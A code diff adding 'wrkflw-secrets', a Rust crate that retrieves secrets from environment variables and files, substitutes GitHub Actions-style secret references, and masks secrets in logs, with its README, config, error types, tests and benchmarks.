+            .run_container(
+                "alpine:latest",
+                &["echo", "hello world"],
+                &[],
+                &PathBuf::from("."),
+                &[],
+            )
+            .await;
+
+        assert!(result.is_ok());
+        let output = result.unwrap();
+        assert!(output.stdout.contains("hello world"));
+        assert_eq!(output.exit_code, 0);
+    }
+}

crates/secrets/Cargo.toml

@@ -0,0 +1,61 @@
+[package]
+name = "wrkflw-secrets"
+version = "0.7.3"
+edition.workspace = true
+description = "Secrets management for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# External dependencies
+serde.workspace = true
+serde_json.workspace = true
+serde_yaml.workspace = true
+tokio.workspace = true
+thiserror.workspace = true
+dirs.workspace = true
+regex.workspace = true
+lazy_static.workspace = true
+chrono = { workspace = true, features = ["serde"] }
+async-trait.workspace = true
+
+# Dependencies not in workspace
+anyhow = "1.0"
+base64 = "0.21"
+aes-gcm = "0.10"
+rand = "0.8"
+tracing = "0.1"
+url = "2.4"
+pbkdf2 = "0.12"
+hmac = "0.12"
+sha2 = "0.10"
+
+# Optional dependencies for different secret providers (commented out for compatibility)
+# reqwest = { version = "0.11", features = ["json"], optional = true }
+# aws-sdk-secretsmanager = { version = "1.0", optional = true }
+# azure_security_keyvault = { version = "0.16", optional = true }
+
+[features]
+default = ["env-provider", "file-provider"]
+env-provider = []
+file-provider = []
+# Cloud provider features are planned for future implementation
+# vault-provider = ["reqwest"]
+# aws-provider = ["aws-sdk-secretsmanager", "reqwest"]
+# azure-provider = ["azure_security_keyvault", "reqwest"]
+# gcp-provider = ["reqwest"]
+# all-providers = ["vault-provider", "aws-provider", "azure-provider", "gcp-provider"]
+
+[dev-dependencies]
+tempfile.workspace = true
+tokio-test = "0.4"
+uuid.workspace = true
+criterion = { version = "0.5", features = ["html_reports"] }
+
+[[bench]]
+name = "masking_bench"
+harness = false

crates/secrets/README.md

@@ -0,0 +1,387 @@
+# wrkflw-secrets
+
+Comprehensive secrets management for wrkflw workflow execution. This crate provides secure handling of secrets with support for multiple providers, encryption, masking, and GitHub Actions-compatible variable substitution.
+
+## Features
+
+- **Multiple Secret Providers**: Environment variables, files, HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Cloud Secret Manager
+- **Secure Storage**: AES-256-GCM encryption for secrets at rest
+- **Variable Substitution**: GitHub Actions-compatible `${{ secrets.* }}` syntax
+- **Secret Masking**: Automatic masking of secrets in logs and output with pattern detection
+- **Caching**: Optional caching with TTL for performance optimization
+- **Rate Limiting**: Built-in protection against secret access abuse
+- **Input Validation**: Comprehensive validation of secret names and values
+- **Health Checks**: Provider health monitoring and diagnostics
+- **Configuration**: Flexible YAML/JSON configuration with environment variable support
+- **Thread Safety**: Full async/await support with concurrent access
+- **Performance Optimized**: Compiled regex patterns and caching for high-throughput scenarios
+
+## Quick Start
+
+```rust
+use wrkflw_secrets::prelude::*;
+
+#[tokio::main]
+async fn main() -> SecretResult<()> {
+    // Create a secret manager with default configuration
+    let manager = SecretManager::default().await?;
+    
+    // Set an environment variable
+    std::env::set_var("GITHUB_TOKEN", "ghp_your_token_here");
+    
+    // Get a secret
+    let secret = manager.get_secret("GITHUB_TOKEN").await?;
+    println!("Token: {}", secret.value());
+    
+    // Use secret substitution
+    let mut substitution = SecretSubstitution::new(&manager);
+    let template = "curl -H 'Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' https://api.github.com";
+    let resolved = substitution.substitute(template).await?;
+    
+    // Mask secrets in logs
+    let mut masker = SecretMasker::new();
+    masker.add_secret(secret.value());
+    let safe_log = masker.mask(&resolved);
+    println!("Safe log: {}", safe_log);
+    
+    Ok(())
+}
+```
+
+## Configuration
+
+### Environment Variables
+
+```bash
+# Set default provider
+export WRKFLW_DEFAULT_SECRET_PROVIDER=env
+
+# Enable/disable secret masking
+export WRKFLW_SECRET_MASKING=true
+
+# Set operation timeout
+export WRKFLW_SECRET_TIMEOUT=30
+```
+
+### Configuration File
+
+Create `~/.wrkflw/secrets.yml`:
+
+```yaml
+default_provider: env
+enable_masking: true
+timeout_seconds: 30
+enable_caching: true
+cache_ttl_seconds: 300
+
+providers:
+  env:
+    type: environment
+    prefix: "WRKFLW_SECRET_"
+  
+  file:
+    type: file
+    path: "~/.wrkflw/secrets.json"
+  
+  vault:
+    type: vault
+    url: "https://vault.example.com"
+    auth:
+      method: token
+      token: "${VAULT_TOKEN}"
+    mount_path: "secret"
+```
+
+## Secret Providers
+
+### Environment Variables
+
+The simplest provider reads secrets from environment variables:
+
+```rust
+// With prefix
+std::env::set_var("WRKFLW_SECRET_API_KEY", "secret_value");
+let secret = manager.get_secret_from_provider("env", "API_KEY").await?;
+
+// Without prefix  
+std::env::set_var("GITHUB_TOKEN", "ghp_token");
+let secret = manager.get_secret_from_provider("env", "GITHUB_TOKEN").await?;
+```
+
+### File-based Storage
+
+Store secrets in JSON, YAML, or environment files:
+
+**JSON format** (`secrets.json`):
+```json
+{
+  "API_KEY": "secret_api_key",
+  "DB_PASSWORD": "secret_password"
+}
+```
+
+**Environment format** (`secrets.env`):
+```bash
+API_KEY=secret_api_key
+DB_PASSWORD="quoted password"
+GITHUB_TOKEN='single quoted token'
+```
+
+**YAML format** (`secrets.yml`):
+```yaml
+API_KEY: secret_api_key
+DB_PASSWORD: secret_password
+```
+
+### HashiCorp Vault
+
+```yaml
+providers:
+  vault:
+    type: vault
+    url: "https://vault.example.com"
+    auth:
+      method: token
+      token: "${VAULT_TOKEN}"
+    mount_path: "secret"
+```
+
+### AWS Secrets Manager
+
+```yaml
+providers:
+  aws:
+    type: aws_secrets_manager
+    region: "us-east-1"
+    role_arn: "arn:aws:iam::123456789012:role/SecretRole"  # optional
+```
+
+### Azure Key Vault
+
+```yaml
+providers:
+  azure:
+    type: azure_key_vault
+    vault_url: "https://myvault.vault.azure.net/"
+    auth:
+      method: service_principal
+      client_id: "${AZURE_CLIENT_ID}"
+      client_secret: "${AZURE_CLIENT_SECRET}"
+      tenant_id: "${AZURE_TENANT_ID}"
+```
+
+### Google Cloud Secret Manager
+
+```yaml
+providers:
+  gcp:
+    type: gcp_secret_manager
+    project_id: "my-project"
+    key_file: "/path/to/service-account.json"  # optional
+```
+
+## Variable Substitution
+
+Support for GitHub Actions-compatible secret references:
+
+```rust
+let mut substitution = SecretSubstitution::new(&manager);
+
+// Default provider
+let template = "TOKEN=${{ secrets.GITHUB_TOKEN }}";
+let resolved = substitution.substitute(template).await?;
+
+// Specific provider
+let template = "API_KEY=${{ secrets.vault:API_KEY }}";
+let resolved = substitution.substitute(template).await?;
+```
+
+## Secret Masking
+
+Automatically mask secrets in logs and output:
+
+```rust
+let mut masker = SecretMasker::new();
+
+// Add specific secrets
+masker.add_secret("secret_value");
+
+// Automatic pattern detection for common secret types
+let log = "Token: ghp_1234567890123456789012345678901234567890";
+let masked = masker.mask(log);
+// Output: "Token: ghp_***"
+```
+
+Supported patterns:
+- GitHub Personal Access Tokens (`ghp_*`)
+- GitHub App tokens (`ghs_*`) 
+- GitHub OAuth tokens (`gho_*`)
+- AWS Access Keys (`AKIA*`)
+- JWT tokens
+- Generic API keys
+
+## Encrypted Storage
+
+For sensitive environments, use encrypted storage:
+
+```rust
+use wrkflw_secrets::storage::{EncryptedSecretStore, KeyDerivation};
+
+// Create encrypted store
+let (mut store, key) = EncryptedSecretStore::new()?;
+
+// Add secrets
+store.add_secret(&key, "API_KEY", "secret_value")?;
+
+// Save to file
+store.save_to_file("secrets.encrypted").await?;
+
+// Load from file
+let loaded_store = EncryptedSecretStore::load_from_file("secrets.encrypted").await?;
+let secret = loaded_store.get_secret(&key, "API_KEY")?;
+```
+
+## Error Handling
+
+All operations return `SecretResult<T>` with comprehensive error types:
+
+```rust
+match manager.get_secret("MISSING_SECRET").await {
+    Ok(secret) => println!("Secret: {}", secret.value()),
+    Err(SecretError::NotFound { name }) => {
+        eprintln!("Secret '{}' not found", name);
+    }
+    Err(SecretError::ProviderNotFound { provider }) => {
+        eprintln!("Provider '{}' not configured", provider);
+    }
+    Err(SecretError::AuthenticationFailed { provider, reason }) => {
+        eprintln!("Auth failed for {}: {}", provider, reason);
+    }
+    Err(e) => eprintln!("Error: {}", e),
+}
+```
+
+## Health Checks
+
+Monitor provider health:
+
+```rust
+let health_results = manager.health_check().await;
+for (provider, result) in health_results {
+    match result {
+        Ok(()) => println!("✓ {} is healthy", provider),
+        Err(e) => println!("✗ {} failed: {}", provider, e),
+    }
+}
+```
+
+## Security Best Practices
+
+1. **Use encryption** for secrets at rest
+2. **Enable masking** to prevent secrets in logs
+3. **Rotate secrets** regularly
+4. **Use least privilege** access for secret providers
+5. **Monitor access** through health checks and logging
+6. **Use provider-specific authentication** (IAM roles, service principals)
+7. **Configure rate limiting** to prevent abuse
+8. **Validate input** - the system automatically validates secret names and values
+
+## Rate Limiting
+
+Protect against abuse with built-in rate limiting:
+
+```rust
+use wrkflw_secrets::rate_limit::RateLimitConfig;
+use std::time::Duration;
+
+let mut config = SecretConfig::default();
+config.rate_limit = RateLimitConfig {
+    max_requests: 100,                    // Max requests per window
+    window_duration: Duration::from_secs(60), // 1 minute window
+    enabled: true,
+};
+
+let manager = SecretManager::new(config).await?;
+
+// Rate limiting is automatically applied to all secret access operations
+match manager.get_secret("API_KEY").await {
+    Ok(secret) => println!("Success: {}", secret.value()),
+    Err(SecretError::RateLimitExceeded(msg)) => {
+        println!("Rate limited: {}", msg);
+    }
+    Err(e) => println!("Other error: {}", e),
+}
+```
+
+## Input Validation
+
+All inputs are automatically validated:
+
+```rust
+// Secret names must:
+// - Be 1-255 characters long
+// - Contain only letters, numbers, underscores, hyphens, and dots
+// - Not start or end with dots
+// - Not contain consecutive dots
+// - Not be reserved system names
+
+// Secret values must:
+// - Be under 1MB in size
+// - Not contain null bytes
+// - Be valid UTF-8
+
+// Invalid examples that will be rejected:
+manager.get_secret("").await;                    // Empty name
+manager.get_secret("invalid/name").await;        // Invalid characters
+manager.get_secret(".hidden").await;             // Starts with dot
+manager.get_secret("CON").await;                 // Reserved name
+```
+
+## Performance Features
+
+### Caching
+
+```rust
+let config = SecretConfig {
+    enable_caching: true,
+    cache_ttl_seconds: 300, // 5 minutes
+    ..Default::default()
+};
+```
+
+### Optimized Pattern Matching
+
+- Pre-compiled regex patterns for secret detection
+- Global pattern cache using `OnceLock`
+- Efficient string replacement algorithms
+- Cached mask generation
+
+### Benchmarking
+
+Run performance benchmarks:
+
+```bash
+cargo bench -p wrkflw-secrets
+```
+
+## Feature Flags
+
+Enable optional providers:
+
+```toml
+[dependencies]
+wrkflw-secrets = { version = "0.1", features = ["vault-provider", "aws-provider"] }
+```
+
+Available features:
+- `env-provider` (default)
+- `file-provider` (default) 
+- `vault-provider`
+- `aws-provider`
+- `azure-provider`
+- `gcp-provider`
+- `all-providers`
+
+## License
+
+MIT License - see LICENSE file for details.

crates/secrets/benches/masking_bench.rs

@@ -0,0 +1,92 @@
+// Copyright 2024 wrkflw contributors
+// SPDX-License-Identifier: MIT
+
+//! Benchmarks for secret masking performance
+
+use criterion::{black_box, criterion_group, criterion_main, Criterion};
+use wrkflw_secrets::SecretMasker;
+
+fn bench_basic_masking(c: &mut Criterion) {
+    let mut masker = SecretMasker::new();
+    masker.add_secret("password123");
+    masker.add_secret("api_key_abcdef123456");
+    masker.add_secret("super_secret_value_that_should_be_masked");
+
+    let text = "The password is password123 and the API key is api_key_abcdef123456. Also super_secret_value_that_should_be_masked is here.";
+
+    c.bench_function("basic_masking", |b| b.iter(|| masker.mask(black_box(text))));
+}
+
+fn bench_pattern_masking(c: &mut Criterion) {
+    let masker = SecretMasker::new();
+
+    let text = "GitHub token: ghp_1234567890123456789012345678901234567890 and AWS key: AKIAIOSFODNN7EXAMPLE";
+
+    c.bench_function("pattern_masking", |b| {
+        b.iter(|| masker.mask(black_box(text)))
+    });
+}
+
+fn bench_large_text_masking(c: &mut Criterion) {
+    let mut masker = SecretMasker::new();
+    masker.add_secret("secret123");
+    masker.add_secret("password456");
+
+    // Create a large text with secrets scattered throughout
+    let mut large_text = String::new();
+    for i in 0..1000 {
+        large_text.push_str(&format!(
+            "Line {}: Some normal text here with secret123 and password456 mixed in. ",
+            i
+        ));
+    }
+
+    c.bench_function("large_text_masking", |b| {
+        b.iter(|| masker.mask(black_box(&large_text)))
+    });
+}
+
+fn bench_many_secrets(c: &mut Criterion) {
+    let mut masker = SecretMasker::new();
+
+    // Add many secrets
+    for i in 0..100 {
+        masker.add_secret(format!("secret_{}", i));
+    }
+
+    let text = "This text contains secret_50 and secret_75 but not others.";
+
+    c.bench_function("many_secrets", |b| b.iter(|| masker.mask(black_box(text))));
+}
+
+fn bench_contains_secrets(c: &mut Criterion) {
+    let mut masker = SecretMasker::new();
+    masker.add_secret("password123");
+    masker.add_secret("api_key_abcdef123456");
+
+    let text_with_secrets = "The password is password123";
+    let text_without_secrets = "Just some normal text";
+    let text_with_patterns = "GitHub token: ghp_1234567890123456789012345678901234567890";
+
+    c.bench_function("contains_secrets_with", |b| {
+        b.iter(|| masker.contains_secrets(black_box(text_with_secrets)))
+    });
+
+    c.bench_function("contains_secrets_without", |b| {
+        b.iter(|| masker.contains_secrets(black_box(text_without_secrets)))
+    });
+
+    c.bench_function("contains_secrets_patterns", |b| {
+        b.iter(|| masker.contains_secrets(black_box(text_with_patterns)))
+    });
+}
+
+criterion_group!(
+    benches,
+    bench_basic_masking,
+    bench_pattern_masking,
+    bench_large_text_masking,
+    bench_many_secrets,
+    bench_contains_secrets
+);
+criterion_main!(benches);

crates/secrets/src/config.rs

@@ -0,0 +1,203 @@
+use crate::rate_limit::RateLimitConfig;
+use serde::{Deserialize, Serialize};
+use std::collections::HashMap;
+
+/// Configuration for the secrets management system
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct SecretConfig {
+    /// Default secret provider to use when none is specified
+    pub default_provider: String,
+
+    /// Configuration for each secret provider
+    pub providers: HashMap<String, SecretProviderConfig>,
+
+    /// Whether to enable secret masking in logs
+    pub enable_masking: bool,
+
+    /// Timeout for secret operations in seconds
+    pub timeout_seconds: u64,
+
+    /// Whether to cache secrets for performance
+    pub enable_caching: bool,
+
+    /// Cache TTL in seconds
+    pub cache_ttl_seconds: u64,
+
+    /// Rate limiting configuration
+    #[serde(skip)]
+    pub rate_limit: RateLimitConfig,
+}
+
+impl Default for SecretConfig {
+    fn default() -> Self {
+        let mut providers = HashMap::new();
+
+        // Add default environment variable provider
+        providers.insert(
+            "env".to_string(),
+            SecretProviderConfig::Environment { prefix: None },
+        );
+
+        // Add default file provider
+        providers.insert(
+            "file".to_string(),
+            SecretProviderConfig::File {
+                path: "~/.wrkflw/secrets".to_string(),
+            },
+        );
+
+        Self {
+            default_provider: "env".to_string(),
+            providers,
+            enable_masking: true,
+            timeout_seconds: 30,
+            enable_caching: true,
+            cache_ttl_seconds: 300, // 5 minutes
+            rate_limit: RateLimitConfig::default(),
+        }
+    }
+}
+
+/// Configuration for different types of secret providers
+#[derive(Debug, Clone, Serialize, Deserialize)]
+#[serde(tag = "type", rename_all = "snake_case")]
+pub enum SecretProviderConfig {
+    /// Environment variables provider
+    Environment {
+        /// Optional prefix for environment variables (e.g., "WRKFLW_SECRET_")
+        prefix: Option<String>,
+    },
+
+    /// File-based secret storage
+    File {
+        /// Path to the secrets file or directory
+        path: String,
+    },
+    // Cloud providers are planned for future implementation
+    // /// HashiCorp Vault provider
+    // #[cfg(feature = "vault-provider")]
+    // Vault {
+    //     /// Vault server URL
+    //     url: String,
+    //     /// Authentication method
+    //     auth: VaultAuth,
+    //     /// Optional mount path (defaults to "secret")
+    //     mount_path: Option<String>,
+    // },
+
+    // /// AWS Secrets Manager provider
+    // #[cfg(feature = "aws-provider")]
+    // AwsSecretsManager {
+    //     /// AWS region
+    //     region: String,
+    //     /// Optional role ARN to assume
+    //     role_arn: Option<String>,
+    // },
+
+    // /// Azure Key Vault provider
+    // #[cfg(feature = "azure-provider")]
+    // AzureKeyVault {
+    //     /// Key Vault URL
+    //     vault_url: String,
+    //     /// Authentication method
+    //     auth: AzureAuth,
+    // },
+
+    // /// Google Cloud Secret Manager provider
+    // #[cfg(feature = "gcp-provider")]
+    // GcpSecretManager {
+    //     /// GCP project ID
+    //     project_id: String,
+    //     /// Optional service account key file path
+    //     key_file: Option<String>,
+    // },
+}
+
+// Cloud provider authentication types are planned for future implementation
+// /// HashiCorp Vault authentication methods
+// #[cfg(feature = "vault-provider")]
+// #[derive(Debug, Clone, Serialize, Deserialize)]
+// #[serde(tag = "method", rename_all = "snake_case")]
+// pub enum VaultAuth {
+//     /// Token-based authentication
+//     Token { token: String },
+//     /// AppRole authentication
+//     AppRole { role_id: String, secret_id: String },
+//     /// Kubernetes authentication
+//     Kubernetes {
+//         role: String,
+//         jwt_path: Option<String>,
+//     },
+// }
+
+// /// Azure authentication methods
+// #[cfg(feature = "azure-provider")]
+// #[derive(Debug, Clone, Serialize, Deserialize)]
+// #[serde(tag = "method", rename_all = "snake_case")]
+// pub enum AzureAuth {
+//     /// Service Principal authentication
+//     ServicePrincipal {
+//         client_id: String,
+//         client_secret: String,
+//         tenant_id: String,
+//     },
+//     /// Managed Identity authentication
+//     ManagedIdentity,
+//     /// Azure CLI authentication
+//     AzureCli,
+// }
+
+impl SecretConfig {
+    /// Load configuration from a file
+    pub fn from_file(path: &str) -> crate::SecretResult<Self> {
+        let content = std::fs::read_to_string(path)?;
+
+        if path.ends_with(".json") {
+            Ok(serde_json::from_str(&content)?)
+        } else if path.ends_with(".yml") || path.ends_with(".yaml") {
+            Ok(serde_yaml::from_str(&content)?)
+        } else {
+            Err(crate::SecretError::invalid_config(
+                "Unsupported config file format. Use .json, .yml, or .yaml",
+            ))
+        }
+    }
+
+    /// Save configuration to a file
+    pub fn to_file(&self, path: &str) -> crate::SecretResult<()> {
+        let content = if path.ends_with(".json") {
+            serde_json::to_string_pretty(self)?
+        } else if path.ends_with(".yml") || path.ends_with(".yaml") {
+            serde_yaml::to_string(self)?
+        } else {
+            return Err(crate::SecretError::invalid_config(
+                "Unsupported config file format. Use .json, .yml, or .yaml",
+            ));
+        };
+
+        std::fs::write(path, content)?;
+        Ok(())
+    }
+
+    /// Load configuration from environment variables
+    pub fn from_env() -> Self {
+        let mut config = Self::default();
+
+        // Override default provider if specified
+        if let Ok(provider) = std::env::var("WRKFLW_DEFAULT_SECRET_PROVIDER") {
+            config.default_provider = provider;
+        }
+
+        // Override masking setting
+        if let Ok(masking) = std::env::var("WRKFLW_SECRET_MASKING") {
+            config.enable_masking = masking.parse().unwrap_or(true);
+        }
+
+        // Override timeout
+        if let Ok(timeout) = std::env::var("WRKFLW_SECRET_TIMEOUT") {
+            config.timeout_seconds = timeout.parse().unwrap_or(30);
+        }
+
+        config
+    }
+}

crates/secrets/src/error.rs

@@ -0,0 +1,88 @@
+use thiserror::Error;
+
+/// Result type for secret operations
+pub type SecretResult<T> = Result<T, SecretError>;
+
+/// Errors that can occur during secret operations
+#[derive(Error, Debug)]
+pub enum SecretError {
+    #[error("Secret not found: {name}")]
+    NotFound { name: String },
+
+    #[error("Secret provider '{provider}' not found")]
+    ProviderNotFound { provider: String },
+
+    #[error("Authentication failed for provider '{provider}': {reason}")]
+    AuthenticationFailed { provider: String, reason: String },
+
+    #[error("Network error accessing secret provider: {0}")]
+    NetworkError(String),
+
+    #[error("Invalid secret configuration: {0}")]
+    InvalidConfig(String),
+
+    #[error("Encryption error: {0}")]
+    EncryptionError(String),
+
+    #[error("IO error: {0}")]
+    IoError(#[from] std::io::Error),
+
+    #[error("JSON parsing error: {0}")]
+    JsonError(#[from] serde_json::Error),
+
+    #[error("YAML parsing error: {0}")]
+    YamlError(#[from] serde_yaml::Error),
+
+    #[error("Invalid secret value format: {0}")]
+    InvalidFormat(String),
+
+    #[error("Secret operation timeout")]
+    Timeout,
+
+    #[error("Permission denied accessing secret: {name}")]
+    PermissionDenied { name: String },
+
+    #[error("Internal error: {0}")]
+    Internal(String),
+
+    #[error("Invalid secret name: {reason}")]
+    InvalidSecretName { reason: String },
+
+    #[error("Secret value too large: {size} bytes (max: {max_size} bytes)")]
+    SecretTooLarge { size: usize, max_size: usize },
+
+    #[error("Rate limit exceeded: {0}")]
+    RateLimitExceeded(String),
+}
+
+impl SecretError {
+    /// Create a new NotFound error
+    pub fn not_found(name: impl Into<String>) -> Self {
+        Self::NotFound { name: name.into() }
+    }
+
+    /// Create a new ProviderNotFound error
+    pub fn provider_not_found(provider: impl Into<String>) -> Self {
+        Self::ProviderNotFound {
+            provider: provider.into(),
+        }
+    }
+
+    /// Create a new AuthenticationFailed error
+    pub fn auth_failed(provider: impl Into<String>, reason: impl Into<String>) -> Self {
+        Self::AuthenticationFailed {
+            provider: provider.into(),
+            reason: reason.into(),
+        }
+    }
+
+    /// Create a new InvalidConfig error
+    pub fn invalid_config(msg: impl Into<String>) -> Self {
+        Self::InvalidConfig(msg.into())
+    }
+
+    /// Create a new Internal error
+    pub fn internal(msg: impl Into<String>) -> Self {
+        Self::Internal(msg.into())
+    }
+}

crates/secrets/src/lib.rs

@@ -0,0 +1,247 @@
+// Copyright 2024 wrkflw contributors
+// SPDX-License-Identifier: MIT
+
+//! # wrkflw-secrets
+//!
+//! Comprehensive secrets management for wrkflw workflow execution.
+//! Supports multiple secret providers and secure handling throughout the execution pipeline.
+//!
+//! ## Features
+//!
+//! - **Multiple Secret Providers**: Environment variables, file-based storage, with extensibility for cloud providers
+//! - **Secret Substitution**: GitHub Actions-style secret references (`${{ secrets.SECRET_NAME }}`)
+//! - **Automatic Masking**: Intelligent secret detection and masking in logs and output
+//! - **Rate Limiting**: Built-in protection against secret access abuse
+//! - **Caching**: Configurable caching for improved performance
+//! - **Input Validation**: Comprehensive validation of secret names and values
+//! - **Thread Safety**: Full async/await support with thread-safe operations
+//!
+//! ## Quick Start
+//!
+//! ```rust
+//! use wrkflw_secrets::{SecretManager, SecretMasker, SecretSubstitution};
+//!
+//! #[tokio::main]
+//! async fn main() -> Result<(), Box<dyn std::error::Error>> {
+//!     // Initialize the secret manager with default configuration
+//!     let manager = SecretManager::default().await?;
+//!     
+//!     // Set an environment variable for testing
+//!     std::env::set_var("API_TOKEN", "secret_api_token_123");
+//!     
+//!     // Retrieve a secret
+//!     let secret = manager.get_secret("API_TOKEN").await?;
+//!     println!("Secret value: {}", secret.value());
+//!     
+//!     // Use secret substitution
+//!     let mut substitution = SecretSubstitution::new(&manager);
+//!     let template = "Using token: ${{ secrets.API_TOKEN }}";
+//!     let resolved = substitution.substitute(template).await?;
+//!     println!("Resolved: {}", resolved);
+//!     
+//!     // Set up secret masking
+//!     let mut masker = SecretMasker::new();
+//!     masker.add_secret("secret_api_token_123");
+//!     
+//!     let log_message = "Failed to authenticate with token: secret_api_token_123";
+//!     let masked = masker.mask(log_message);
+//!     println!("Masked: {}", masked); // Will show: "Failed to authenticate with token: se***123"
+//!     
+//!     // Clean up
+//!     std::env::remove_var("API_TOKEN");
+//!     Ok(())
+//! }
+//! ```
+//!
+//! ## Configuration
+//!
+//! ```rust
+//! use wrkflw_secrets::{SecretConfig, SecretProviderConfig, SecretManager};
+//! use std::collections::HashMap;
+//!
+//! #[tokio::main]
+//! async fn main() -> Result<(), Box<dyn std::error::Error>> {
+//!     let mut providers = HashMap::new();
+//!     
+//!     // Environment variable provider with prefix
+//!     providers.insert(
+//!         "env".to_string(),
+//!         SecretProviderConfig::Environment {
+//!             prefix: Some("MYAPP_SECRET_".to_string())
+//!         }
+//!     );
+//!     
+//!     // File-based provider
+//!     providers.insert(
+//!         "file".to_string(),
+//!         SecretProviderConfig::File {
+//!             path: "/path/to/secrets.json".to_string()
+//!         }
+//!     );
+//!     
+//!     let config = SecretConfig {
+//!         default_provider: "env".to_string(),
+//!         providers,
+//!         enable_masking: true,
+//!         timeout_seconds: 30,
+//!         enable_caching: true,
+//!         cache_ttl_seconds: 300,
+//!         rate_limit: Default::default(),
+//!     };
+//!     
+//!     let manager = SecretManager::new(config).await?;
+//!     Ok(())
+//! }
+//! ```
+//!
+//! ## Security Features
+//!
+//! ### Input Validation
+//!
+//! All secret names and values are validated to prevent injection attacks and ensure compliance
+//! with naming conventions.
+//!
+//! ### Rate Limiting
+//!
+//! Built-in rate limiting prevents abuse and denial-of-service attacks on secret providers.
+//!
+//! ### Automatic Pattern Detection
+//!
+//! The masking system automatically detects and masks common secret patterns:
+//! - GitHub Personal Access Tokens (`ghp_*`)
+//! - AWS Access Keys (`AKIA*`)
+//! - JWT tokens
+//! - API keys and tokens
+//!
+//! ### Memory Safety
+//!
+//! Secrets are handled with care to minimize exposure in memory and logs.
+//!
+//! ## Provider Support
+//!
+//! ### Environment Variables
+//!
+//! ```rust
+//! use wrkflw_secrets::{SecretProviderConfig, SecretManager, SecretConfig};
+//!
+//! // With prefix for better security
+//! let provider = SecretProviderConfig::Environment {
+//!     prefix: Some("MYAPP_".to_string())
+//! };
+//! ```
+//!
+//! ### File-based Storage
+//!
+//! Supports JSON, YAML, and environment file formats:
+//!
+//! ```json
+//! {
+//!   "database_password": "super_secret_password",
+//!   "api_key": "your_api_key_here"
+//! }
+//! ```
+//!
+//! ```yaml
+//! database_password: super_secret_password
+//! api_key: your_api_key_here
+//! ```
+//!
+//! ```bash
+//! # Environment format
+//! DATABASE_PASSWORD=super_secret_password
+//! API_KEY="your_api_key_here"
+//! ```
+
+pub mod config;
+pub mod error;
+pub mod manager;
+pub mod masking;
+pub mod providers;
+pub mod rate_limit;
+pub mod storage;
+pub mod substitution;
+pub mod validation;
+
+pub use config::{SecretConfig, SecretProviderConfig};
+pub use error::{SecretError, SecretResult};
+pub use manager::SecretManager;
+pub use masking::SecretMasker;
+pub use providers::{SecretProvider, SecretValue};
+pub use substitution::SecretSubstitution;
+
+/// Re-export commonly used types
+pub mod prelude {
+    pub use crate::{
+        SecretConfig, SecretError, SecretManager, SecretMasker, SecretProvider, SecretResult,
+        SecretSubstitution, SecretValue,
+    };
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use uuid;
+
+    #[tokio::test]
+    async fn test_basic_secret_management() {
+        let config = SecretConfig::default();
+        let manager = SecretManager::new(config)
+            .await
+            .expect("Failed to create manager");
+
+        // Use a unique test secret name to avoid conflicts
+        let test_secret_name = format!(
+            "TEST_SECRET_{}",
+            uuid::Uuid::new_v4().to_string().replace('-', "_")
+        );
+        std::env::set_var(&test_secret_name, "secret_value");
+
+        let result = manager.get_secret(&test_secret_name).await;
+        assert!(result.is_ok());
+
+        let secret = result.unwrap();
+        assert_eq!(secret.value(), "secret_value");
+
+        std::env::remove_var(&test_secret_name);
+    }
+
+    #[tokio::test]
+    async fn test_secret_substitution() {
+        let config = SecretConfig::default();
+        let manager = SecretManager::new(config)
+            .await
+            .expect("Failed to create manager");
+
+        // Use a unique test secret name to avoid conflicts
+        let test_secret_name = format!(
+            "GITHUB_TOKEN_{}",
+            uuid::Uuid::new_v4().to_string().replace('-', "_")
+        );
+        std::env::set_var(&test_secret_name, "ghp_test_token");
+
+        let mut substitution = SecretSubstitution::new(&manager);
+        let input = format!("echo 'Token: ${{{{ secrets.{} }}}}'", test_secret_name);
+
+        let result = substitution.substitute(&input).await;
+        assert!(result.is_ok());
+
+        let output = result.unwrap();
+        assert!(output.contains("ghp_test_token"));
+
+        std::env::remove_var(&test_secret_name);
+    }
+
+    #[tokio::test]
+    async fn test_secret_masking() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("secret123");
+        masker.add_secret("password456");
+
+        let input = "The secret is secret123 and password is password456";
+        let masked = masker.mask(input);
+
+        assert!(masked.contains("***"));
+        assert!(!masked.contains("secret123"));
+        assert!(!masked.contains("password456"));
+    }
+}

crates/secrets/src/manager.rs

@@ -0,0 +1,267 @@
+use crate::{
+    config::{SecretConfig, SecretProviderConfig},
+    providers::{env::EnvironmentProvider, file::FileProvider, SecretProvider, SecretValue},
+    rate_limit::RateLimiter,
+    validation::{validate_provider_name, validate_secret_name},
+    SecretError, SecretResult,
+};
+use std::collections::HashMap;
+use std::sync::Arc;
+use tokio::sync::RwLock;
+
+/// Cached secret entry
+#[derive(Debug, Clone)]
+struct CachedSecret {
+    value: SecretValue,
+    expires_at: chrono::DateTime<chrono::Utc>,
+}
+
+/// Central secret manager that coordinates multiple providers
+pub struct SecretManager {
+    config: SecretConfig,
+    providers: HashMap<String, Box<dyn SecretProvider>>,
+    cache: Arc<RwLock<HashMap<String, CachedSecret>>>,
+    rate_limiter: RateLimiter,
+}
+
+impl SecretManager {
+    /// Create a new secret manager with the given configuration
+    pub async fn new(config: SecretConfig) -> SecretResult<Self> {
+        let mut providers: HashMap<String, Box<dyn SecretProvider>> = HashMap::new();
+
+        // Initialize providers based on configuration
+        for (name, provider_config) in &config.providers {
+            // Validate provider name
+            validate_provider_name(name)?;
+
+            let provider: Box<dyn SecretProvider> = match provider_config {
+                SecretProviderConfig::Environment { prefix } => {
+                    Box::new(EnvironmentProvider::new(prefix.clone()))
+                }
+                SecretProviderConfig::File { path } => Box::new(FileProvider::new(path.clone())),
+                // Cloud providers are planned for future implementation
+                // #[cfg(feature = "vault-provider")]
+                // SecretProviderConfig::Vault { url, auth, mount_path } => {
+                //     Box::new(crate::providers::vault::VaultProvider::new(
+                //         url.clone(),
+                //         auth.clone(),
+                //         mount_path.clone(),
+                //     ).await?)
+                // }
+            };
+
+            providers.insert(name.clone(), provider);
+        }
+
+        let rate_limiter = RateLimiter::new(config.rate_limit.clone());
+
+        Ok(Self {
+            config,
+            providers,
+            cache: Arc::new(RwLock::new(HashMap::new())),
+            rate_limiter,
+        })
+    }
+
+    /// Create a new secret manager with default configuration
